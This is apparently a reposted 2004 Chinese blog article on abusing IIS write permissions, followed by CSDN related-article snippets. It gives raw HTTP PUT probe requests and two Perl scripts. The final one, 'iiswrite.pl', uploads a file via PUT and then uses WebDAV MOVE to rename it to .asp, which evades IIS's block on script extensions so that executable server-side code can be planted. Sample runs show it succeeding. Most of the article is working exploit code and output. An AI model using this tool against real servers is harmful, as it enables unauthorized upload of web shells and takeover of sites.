对iis写权限的利用(转载)

原创 2004年08月17日 09:15:00
作者:SuperHei 来源:www.4ngel.net

        大家可能看过《远程分析IIS设置》,里面对iis的各种设置进行了分析,我这里就对iis的写权限来分析下,以下引用《远程分析IIS设置》文章对iis写权限分析内容:

写权限

  测试一个目录对于web用户是否具有写权限,采用如下方法:telnet到服务器的web端口(80)并发送一个如下请求:

PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10

  这时服务器会返回一个100( 继续)的信息:

HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT

  接着,我们输入10个字母:

AAAAAAAAAA

  送出这个请求后,看服务器的返回信息,如果是一个 201 Created响应:

HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK

  那么就说明这个目录的写权限是开着的,反之,如果返回的是一个403错误,那么写权限就是没有开起来,如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,说明是开了写权限,但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话,那么web用户就可以上传一个程序并且执行它,恐怖哦%^#$!~

  这里简单说明下:

PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10

  PUT:请求服务器将附件的实体储存在提供的请求URL处,如果该请求URL指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源,该URL将被该请求的用户代理定义成为一个新的资源,原始服务器将用该URL产生这个资源。
  Host:是HTTP请求的发送地址
  Content-Length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致

  用nc(telnet)提交很烦琐,我们这里写个简单的perl程序,来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下:

#!/usr/bin/perl
use IO::Socket;
$ARGC = @ARGV;

if ($ARGC != 4)
{
  print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe/n";
  exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$file = @ARGV[2];
$path = @ARGV[3];

@s=stat("$file");
$size = $s[7]; #得到文件大小
print "$file size is $size bytes/n";

my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host /n";
print $sock "PUT $path HTTP/1.1/n";
print $sock "Host: $host/n";
print $sock "Content-Length: $size/n/n"; #sock连接

open(FILE,"$file");
binmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传
  print $sock "$char";
}
print $sock "/n/n";
@req = <$sock>;
print "please wait.../n";
sleep(2);
if ($req[4]=~/200|201/){
  print "upfile Succeed!!!" ; #成功显示
}
else{
  print "upfile faile!!!/n/n";
  print @req;#如果失败显示返回错误
}
close $sock;
close FILE;


  下面我们测试下:

C:/usr/bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt
kaka.txt size is 14 bytes
please wait...
upfile Succeed!!!

C:/Inetpub/Scripts>dir kaka.txt
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1-479E

C:/Inetpub/Scripts 的目录

2004-05-05 00:37 14 kaka.txt
1 个文件 14 字节
0 个目录 3,871,080,448 可用字节


  这里我们把kaka.txt成功上传到了web目录Scripts下,以为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件:

C:/usr/bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe
perl.exe size is 20535 bytes
please wait...
upfile Succeed!!!

C:/Inetpub/Scripts>dir perl.exe
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1-479E

C:/Inetpub/Scripts 的目录

2004-05-05 00:42 20,535 perl.exe
1 个文件 20,535 字节
0 个目录 3,871,031,296 可用字节

  成功,可以上传exe了,是不是可以上传任意文件呢?接着来测试asp文件:

C:/usr/bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp
kaka.asp size is 4 bytes
please wait...
upfile faile!!!

HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT
Connection: close
Content-Type: text/html
Content-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>


  失败!!提示HTTP/1.1 403 Forbidden错误,看来直接用post方式写asp不行了,经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

  那我们怎样才可以上传iis支持的文件类型文件呢?iis除了可以执行put,post,get等动作外,还可以执行COPY, MOVE等命令,呵呵!我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件,在提过copy,move命令来改为asp。

  我们还是先用nc提交测试下:

D:/>nc 127.0.0.1 80
MOVE /scripts/kaka.txt HTTP/1.1
Host:127.0.0.1
Destination: http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Sun, 05 Oct 2003 09:30:59 GMT
Location: http://127.0.0.1/scripts/x.asp
Content-Type: text/xml
Content-Length: 0


  成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了:)。我们还是用perl来完成。

  测试写asp成功:

C:/usr/bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp
************************************************************
codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>
************************************************************
kaka.asp size is 4 bytes
please wait...
upfile Succeed!!!
Modifyfile Succeed!!!


  最终的iiswrite.pl代码如下(由于写本文时,在网吧对于文章中代码是先又本人打“草稿”,又lanker测试并最终完成,THX lanker。):

#!/usr/bin/perl
#The iiswrite Script

use IO::Socket;
$ARGC = @ARGV;
print "*" x 60;
print "/ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>/n";
print "*" x 60,"/n";
if ($ARGC != 4)
{
  print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt/n";
  exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$path = @ARGV[3];
$file = @ARGV[2];

@path=split("/",$path);
$any = pop(@path);
$path1=join("/",@path);
@s=stat("$file");
$size = $s[7];

print "$file size is $size bytes/n";
my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host /n";
print $sock "PUT $path1/lanker.txt HTTP/1.1/n";
print $sock "Host: $host/n";
print $sock "Content-Length: $size/n/n";
open(FILE,"$file")|| die "Can't open $file";
binmode(FILE);
while (read(FILE,$char,1024)) {
  print $sock "$char";
}
print $sock "/n/n";
@req = <$sock>;
print "please wait.../n";
sleep(2);
if ($req[4]=~/200|201/){
  print "upfile Succeed!!!/n" ;
}
else{
  print "upfile faile!!!/n";
}
close $sock;
close FILE;

my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host /n";
print $sock "MOVE $path1/lanker.txt HTTP/1.1/n";
print $sock "Host: $host/n";
print $sock "Destination:http://$host:$port$path/n/n/n/n";
@req = <$sock>;
if ($req[0]=~/20/d+|/){
  print "Modifyfile Succeed!!!" ;
}
else{
  print "upfile faile!!!";
}
close $sock;

安全培训教程之------利用IIS写权限漏洞

闲来无事,在内网做个渗透试验。记录下渗透过程,为培训收集一下素材。 一、扫面IIS漏洞 不支持上传功能: 这时候千万不要放弃,经验告诉我,IIS IIS ...
  • lanbingkafei
  • lanbingkafei
  • 2013年05月02日 18:27
  • 2347

IIS7.0下文件写入无权限的解决办法

原文:IIS7.0下文件写入无权限的解决办法 作者:风动破 1. 在IIS Web站点上右键 --> 编辑权限 2. 在弹出的窗体上选择【安全】选项卡,如图: [转载]IIS7.0下文...
  • swordcry
  • swordcry
  • 2016年12月21日 15:48
  • 896

IIS写权限利用续以及写权限漏洞来由解释

很多人也许觉得IIS PUT这玩意不值一提啊…其实不然,身在乙方,给客户做安服的时候总是遇到IIS写权限的问题,一方面WVS7.0已经可以扫描并且使用POC成功写入漏洞目标,另一方面无聊的土耳其或者印...
  • god_7z1
  • god_7z1
  • 2013年05月30日 21:29
  • 402

IIS中网站匿名访问权限问题解决办法

我碰到的一些小故障,新上的服务器开站点全部有问题,都出现401错误,这个错误出现次数太多了,解决很多次了,不外乎就是权限设置,帐户密码同步,目录保护等方面的错误,但是全部检查完之后还是未能解决,也没有...
  • ok350350
  • ok350350
  • 2014年04月12日 08:50
  • 1699

IIS服务器修改文件提示权限不足的解决办法

最近做项目的经历,当我们在本地计算机上通过部署在IIS上的程序去操做文件时,在本地执行没有问题,但是部署到服务器上提示“没有权限”等等。 由于用云服务器时间不长,不是很懂,就细心研究了一下,幸好还懂一...
  • u014180504
  • u014180504
  • 2015年06月03日 19:44
  • 1843

IIS写权限漏洞

其实IIS写权限漏洞就是我们对IIS服务器没有设置好所造成的,就象上面所列的几个选项,我门必须要设 置,现在我们来说怎么判断一个服务器的读取,写入以及目录浏览是开放还是紧用呢! 判断执行权限:...
  • p656456564545
  • p656456564545
  • 2013年11月02日 18:40
  • 627

IIS SQL 权限问题

IIS有服务器访问网站时,经常要求提示输入用户与密码的问题 1.在iis中的网站目录属性中,检查是否允许匿名访问   通过右键网站名称--->属性--->目录安全性--->身份验证与访问控制...
  • someon2
  • someon2
  • 2014年02月26日 13:30
  • 608

ASP.NET操作Word的IIS权限配置

ASP.NET账号在默认情况下是没有权限操作Microsoft Office对象的,如果不进行权限的配置,代码会抛出类似以下的异常: 检索 COM 类工厂中 CLSID 为 {00024500-...
  • yhyhyhy
  • yhyhyhy
  • 2016年11月10日 20:16
  • 888

通过IIS操作修改服务器文件没有权限的解决办法

时间有限,只写解决办法! 问题描述:通过部署在IIS上的程序去操做文件(比如删除、旋转图片等)时,在本地执行没有问题,但是部署到服务器上提示“没有权限”。 解决方法:找到你需要操作的文件的根文件夹...
  • wuwo333
  • wuwo333
  • 2015年03月18日 10:11
  • 13035

如何从CSDN上转载文章

1.看到自己喜欢的文章,鼠标右键 2.选择装载文章的部分: 注:为什么选择HTML里面,是因为我们读者要读,文章就需要写出来,所以选这Input的意识 3.登录自己的CSDN博客: 4.尊重原...
  • csdnZCjava
  • csdnZCjava
  • 2017年07月07日 22:20
  • 181
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:对iis写权限的利用(转载)
举报原因:
原因补充:

(最多只允许输入30个字)